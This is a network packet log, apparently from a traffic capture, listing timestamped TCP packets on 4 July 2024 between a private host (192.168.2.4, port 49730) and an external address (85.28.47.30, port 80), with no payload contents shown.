Jul 4, 2024 20:34:06.038948059 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.038997889 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039007902 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039036989 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.039051056 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.039145947 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039155960 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039164066 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039186001 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.039210081 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.039283991 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039299965 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039308071 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039316893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039326906 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039330006 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.039335966 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039340973 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.039344072 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039357901 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039380074 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.039391994 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.039412975 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.039453983 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039463997 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039472103 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039480925 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039489031 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039493084 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.039498091 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039513111 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.039545059 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.039624929 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039642096 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039657116 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039668083 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.039669991 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039678097 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039688110 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039696932 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.039724112 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.039737940 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.039793968 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039803982 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039810896 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039819002 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039828062 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039836884 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039838076 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.039845943 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039849043 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.039885044 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.039921045 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039932013 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039940119 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.039963961 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.039985895 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.040062904 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.040072918 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.040081024 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.040107965 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.040132046 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.040196896 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.040206909 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.040215015 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.040222883 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.040231943 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.040241003 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.040242910 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.040268898 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.040283918 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.040455103 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.040465117 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.040473938 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.040493011 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.040503025 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.040503025 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.040510893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.040520906 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.040525913 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.040529966 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.040556908 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.040582895 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.040596962 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.040606022 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.040613890 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.040622950 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.040641069 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.040666103 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.040761948 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.040771961 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.040780067 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.040788889 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.040796995 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.040800095 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.040828943 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.040854931 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.040945053 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.040955067 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.040961027 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.040970087 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.040981054 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.040982008 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.040997028 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.041002035 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.041012049 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.041019917 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.041021109 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.041054010 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.041069984 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.041338921 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.041353941 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.041363001 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.041376114 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.041378975 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.041387081 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.041392088 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.041398048 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.041416883 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.041440010 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.041503906 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.041512966 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.041521072 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.041529894 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.041538000 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.041547060 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.041548967 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.041558981 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.041565895 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.041568041 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.041578054 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.041582108 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.041587114 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.041604042 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.041640043 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.045015097 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.045032024 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.045041084 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.045049906 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.045058966 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.045077085 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.045095921 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.045176029 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.045186043 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.045192957 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.045218945 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.045233011 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.131979942 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.132050037 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.132103920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.132113934 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.132122993 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.132150888 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.132189035 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.132236958 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.132246971 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.132255077 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.132263899 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.132276058 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.132283926 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.132286072 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.132294893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.132304907 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.132322073 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.132342100 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.132510900 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.132520914 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.132529974 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.132551908 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.132567883 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.132657051 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.132667065 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.132675886 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.132684946 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.132694006 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.132695913 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.132703066 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.132714033 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.132716894 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.132721901 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.132735014 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.132751942 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.132772923 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.132832050 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.132842064 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.132849932 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.132874966 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.132889032 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.132967949 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.132977009 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.132986069 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.133014917 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.133038044 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.133116961 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.133126974 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.133135080 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.133143902 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.133152962 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.133158922 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.133162022 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.133177042 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.133205891 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.133284092 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.133294106 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.133302927 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.133311033 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.133320093 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.133320093 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.133352995 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.133380890 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.133456945 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.133466959 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.133475065 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.133502007 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.133524895 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.133651972 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.133661032 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.133671045 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.133678913 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.133688927 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.133697033 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.133706093 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.133706093 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.133714914 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.133723974 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.133730888 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.133733034 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.133749008 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.133761883 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.133785009 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.133819103 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.133829117 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.133837938 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.133862972 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.133877993 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.133965969 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.133975983 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.133985043 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.133994102 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.134011984 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.134032965 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.134104013 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.134114027 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.134123087 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.134135962 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.134145021 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.134146929 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.134157896 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.134166956 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.134171009 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.134207010 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.134280920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.134289980 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.134299040 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.134306908 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.134316921 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.134324074 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.134325027 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.134334087 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.134342909 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.134372950 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.134470940 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.134480000 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.134514093 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.134536028 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.134546041 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.134556055 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.134565115 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.134574890 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.134583950 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.134594917 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.134624958 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.134732008 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.134742022 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.134779930 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.134794950 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.134866953 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.134877920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.134912014 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.135118961 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.135128975 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.135137081 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.135162115 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.135174990 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.135309935 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.135319948 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.135351896 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.135415077 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.135425091 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.135432959 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.135443926 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.135452032 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.135459900 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.135473967 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.135499954 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.135601997 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.135612011 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.135620117 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.135627985 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.135638952 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.135643005 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.135653019 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.135662079 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.135663033 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.135672092 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.135680914 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.135684967 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.135703087 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.135715961 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.135850906 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.135860920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.135870934 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.135879040 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.135885954 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.135912895 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.138999939 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.139010906 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.139019966 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.139029026 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.139038086 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.139051914 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.139086008 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.139305115 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.139353991 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.139456987 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.139499903 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.226336956 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.226356030 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.226366997 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.226419926 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.226429939 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.226440907 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.226449966 CEST	80	49730	85.28.47.30	192.168.2.4
